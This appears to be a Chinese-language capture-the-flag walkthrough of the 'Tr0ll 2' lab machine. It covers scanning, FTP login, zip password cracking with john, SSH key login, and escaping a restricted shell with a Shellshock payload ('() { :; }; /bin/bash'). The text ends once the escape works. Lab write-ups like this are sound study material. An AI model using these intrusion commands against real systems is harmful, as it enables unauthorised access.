Tr0ll 2 Walkthrough

Box Info

官网在这里:Tr0ll: 2

image-20250408213316217

The Hack

确定存活的主机

nmap -sn 192.168.186.0/24

image-20250408211321595

对目标 IP 进行端口发现

nmap -p- 192.168.186.148 

image-20250408211346106

对开放的端口进行应用版本发现

nmap -p 21,22,80 -A 192.168.186.148

发现 FTP、SSH 和 HTTP 服务

image-20250408211406797

尝试使用 anonymous 等一些默认密码登陆,但是失败了

image-20250408211616615

直接访问 80 端口,发现是图片,查看源代码发现泄露用户 Tr0ll

image-20250408185719759

尝试使用 Tr0ll/Tr0ll 连接 FTP 成功,ls 发现 lmao.zip 并下载至本地

image-20250408185617829

下载的 lmao.zip 需要密码,尝试在 80 端口寻找密码,先进行简单的目录扫描

dirsearch -u http://192.168.186.148/

发现 robots.txt ,访问发现是一堆目录

将目录保存为字典文件,枚举出 200 的目录

image-20250408174849173

发现四个目录都含有一张图片,保存至 Desktop/picture 中,发现 dont_bother.jpg 的图片稍微大一些

image-20250408175829900

使用如下命令读取字符串

strings dont_bother.jpg

在最后一行发现 hint

image-20250408175915874

进一步访问 y0ur_self 目录,发现 answer.txt

image-20250408180013441

其中全是 base64 编码的密文,且存在重复字符串

image-20250408180323615

去除重复并进行 base64 解码

sort answer.txt | uniq > uniq_answer.txt
base64 --decode uniq_answer.txt > decode_answer.txt

读取 zip 文件密码哈希

zip2john lmao.zip > zip.hash

image-20250408185900537

使用处理后的 decode_answer.txt 破解 zip 密码

john --wordlist=decode_answer.txt zip.hash 

成功破解

image-20250408185830729

使用密码将 zip 文件解压,发现是 SSH 的 RSA 私钥

image-20250408190136834

由于 RSA 私钥兼容性问题,需要添加 -o PubkeyAcceptedAlgorithms=+ssh-rsa 选项,为了防止 RSA 过于开放,需要将私钥权限设置为 600

chmod 600 noob
ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -i noob noob@192.168.186.148

发现刚建立起来的 SSH 链接在极短时间被关闭了

image-20250408194617138

在这种情况下,需要逃逸 restrict shell ,可以尝试使用如下命令

ssh username@IP -t "/bin/bash" or "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"

最终只有第三种成功了

image-20250408200146103